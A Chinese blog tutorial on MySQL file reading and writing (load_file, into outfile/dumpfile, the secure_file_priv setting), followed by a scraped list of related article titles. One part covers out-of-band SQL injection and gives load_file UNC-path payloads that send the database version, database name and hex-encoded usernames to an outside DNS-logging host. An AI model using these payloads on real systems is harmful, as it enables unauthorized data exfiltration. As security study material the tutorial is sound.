Mysql 中读写文件主要是load_file和into outfile 和 into dumpfile, mysql 的导入导出的功能从mysql5版本起都受 系统变量@@secure_file_prev 影响,我们来看一下官方的解释

image.png

This option sets the secure_file_priv system variable, which is used to limit the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT ... INTO OUTFILE statements and the LOAD_FILE() function. For more information, see the description of secure_file_priv.

在<=5.7.5版本的mysql里面默认值为empty, 在大于5.7.6里面是platform sepcific(linux 默认是/var/lib/mysql-files),表示读写只能在这个目录下面。(有的文章说是5.5.53版本开始,这个未做考证,暂时以官方为主)

该变量有三种取值,empty,NULL, 某个具体路径:

如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。

如果变量为空,则不会产生影响,引起不安全的配置。

如果变量设置为NULL,那么服务器就会禁用导入和导出操作。这个值从(MySQL 5.5.53)版本开始允许。

Secure_file_priv是一个全局变量,它是一个只读变量,你不能在运行时改变它。也就是说如果此种注入比较依赖版本。修改这个值的方法只能在配置文件里面修改,在mysql里面是无法修改的。

windows下:修改my.ini

在[mysqld]内加入secure_file_priv =

linux下:修改my.cnf(可能是/etc/mysql/mysql.conf.d/mysqld.cnf)

在[mysqld]内加入 secure_file_priv =/tmp

然后重启mysql,再查询secure_file_priv

into outfile 和 into dumpfile的区别

outfile 写完文件后会在文件后加一个\n换行符,而dumpfile不会

mysql> select 'aaaa' into outfile '/var/lib/mysql-files/1.php';

Query OK, 1 row affected (0.03 sec)

mysql> select load_file('/var/lib/mysql-files/1.php');

+-----------------------------------------+

| load_file('/var/lib/mysql-files/1.php') |

+-----------------------------------------+

| aaaa

|

+-----------------------------------------+

1 row in set (0.00 sec)

mysql> select 'xxxx' into dumpfile '/var/lib/mysql-files/2.php';

Query OK, 1 row affected (0.00 sec)

mysql> select load_file('/var/lib/mysql-files/2.php');

+-----------------------------------------+

| load_file('/var/lib/mysql-files/2.php') |

+-----------------------------------------+

| xxxx |

+-----------------------------------------+

这两个函数的原本作用是导出数据做备份。

mysql> select * into outfile '/tmp/x.sql' from user;

Query OK, 3 rows affected (0.00 sec)

cat /tmp/x.sql

1 admin admin

2 r00t r00t

3 61d 61d

注意outfile 和 dumpfile后面的路径都不能是十六进制。请注意,如果过滤引号,无法使用十六进制会话或者其他格式作为文件路径

mysql OOB带外注入

当涉及到MSSQL与Oracle时,Out-of-Band 注入是非常好的方式, 但在mysql中却并非如此,因为mysql的secure_file_priv 配置禁止了mysql的导入导出。

解决的办法:

在mysqld的配置中设置该属性为空

secure-file-priv=

下面的payload 也都只能在window下执行,在linux下运行不了,这个还不知道为什么。

OOB注入语句:

select load_file(concat('\\\\',version(),'.h7x7ty.ceye.io\\a.txt'));

select load_file(concat('\\\\',database(),'.h7x7ty.ceye.io\\a.txt'));

image.png

另外,查询的数据中不能有特殊字符,因为concat做的是连接操作,查询的数据会作为子域名的一部分,如果域名中存在特殊字符(比如都好,* {}等)就会解析失败,因此最好就一个hex函数加密传输一下)

select load_file(concat('\\\\',(select hex(group_concat(username)) from ctf.user limit 1),'1.h7x7ty.ceye.io\\a.txt'));

image.png

参考:

mysql oob_mysql 读写文件特性和OOB注入相关推荐

  1. mysql数据库读写文件

    环境: centos7 mysql 5.6.47 用户:root@localhost 条件 mysql中涉及到读写操作,必然离不开secure_file_priv参数,它的值限制load data,s ...

  2. Python全栈(五)Web安全攻防之7.MySQL注入读写文件和HTTP头中的SQL注入

    文章目录 一.MySQL注入读写文件 1.搭建新的测试环境(靶场) 2.读写文件概述 3.读取文件 4.写入文件 二.HTTP头中的SQL注入 1.HTTP头中的SQL注入介绍 updatexml函数 ...

  3. Mysql注入读写文件

    Mysql注入读写文件 1.Mysql注入读文件 MySQL数据库在渗透测试过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(但前提是权限足够). 读取前提: 1.用户权限 ...

  4. MySQL注入读写文件、HTTP头中的SQL注入和cookie注入

    MySQL注入读写文件 MySQL数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(前提是权限足够) 读取前提: 1.用户权限足够高,尽量具有root权限 2. ...

  5. MYSQL新特性secure_file_priv 读写文件

    1290 – The MySQL server is running with the –secure-file-priv option so it cannot execute this state ...

  6. mysql read file_MySQL利用OS读写文件的前提

    能读写文件的前提 不同系统.不同的数据库版本有细微差异,以下实验都在Windows和Mysql 5.7.26下操作: 1.拥有该File的读权限 或 该目录写的权限 2.secure_file_pri ...

  7. linux将mysql中得配置为可读写_MySQL注入 利用系统读、写文件

    能读写文件的前提 不同系统.不同的数据库版本有细微差异,以下实验在Windows10和Mysql 5.7.26下操作: 1.拥有该File的读权限 or 该目录写的权限 2.当前用户的secure_f ...

  8. 【SQL注入-13】利用SQL注入漏洞读写文件案例

    目录 1 读写文件的前提条件 1.1 secure-file-priv参数 1.1.1 作用 1.1.2 secure-file-priv参数值的查看 1.1.2.1 远程查看 1.1.2.2 本地查 ...

  9. mysql注入-OOB注入

    OOB注入 带外通道技术(Out-Of-Band ) 带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用没有直接回显的漏洞. 这一类漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出 ...

  10. atitit.跨语言实现备份mysql数据库 为sql文件特性 api 兼容性java c#.net php js

    atitit.跨语言实现备份mysql数据库 为sql文件特性 api 兼容性java c#.net php js 1. 两个方法:: bat vs mysqldump(推荐)  vs   lang  ...

最新文章

  1. [转]Passing data between pages in JQuery Mobile mobile.changePage
  2. 【.NET】Repeater控件简单的数据绑定(有bool,日期,序号)
  3. 通过路由进行参数的传递(方法一)
  4. Jexus针对Asp.net core应用程序的六大不可替代的优势
  5. python文件是怎么写_python头文件怎么写
  6. 美国湾区2016年科技行业就业增长率出现骤降
  7. java用户邮件激活
  8. netsh winsock reset命令,作用是重置 Winsock 目录
  9. 安卓帧数监测软件_安卓查看帧数的软件
  10. 开源IT监控系统对比
  11. 路由器的下一跳计算(网关)
  12. Kaldi语音识别:aidatatang_asr开源模型实现中文语音识别详细及遇到的问题【亲自跑通】
  13. 卧槽!出了一个Python实时目标跟踪系统神器!
  14. VPP /什么是VPP?
  15. 微PE安装系统 不显示U盘中镜像文件 的解决方法
  16. 英特尔服务器cpu型号大全,Intel桌面处理器规格表
  17. PLSQL计算日期是当月第几周
  18. C++产生随机数,随机序列和随机分布
  19. Android开发范例实战宝典
  20. 全网最全软件测试工程师面试题,看完你还怕拿不到offer?

热门文章

  1. TestCenter测试管理工具环境配置(C)
  2. 倾斜摄影静态单体化 BIM模型调用解决思路
  3. Sub-Gaussian随机变量
  4. 女神舒淇同款敏感肌,应该如何修复呢??
  5. 微信小程序的注册流程
  6. 25G/100G-PON演进与趋势分析
  7. 2022年南京大学软件工程专硕上岸经验帖
  8. 2021年4月程序员工资统计排行
  9. 基于Bmob的仿微信即时聊天软件
  10. windows操作系统---1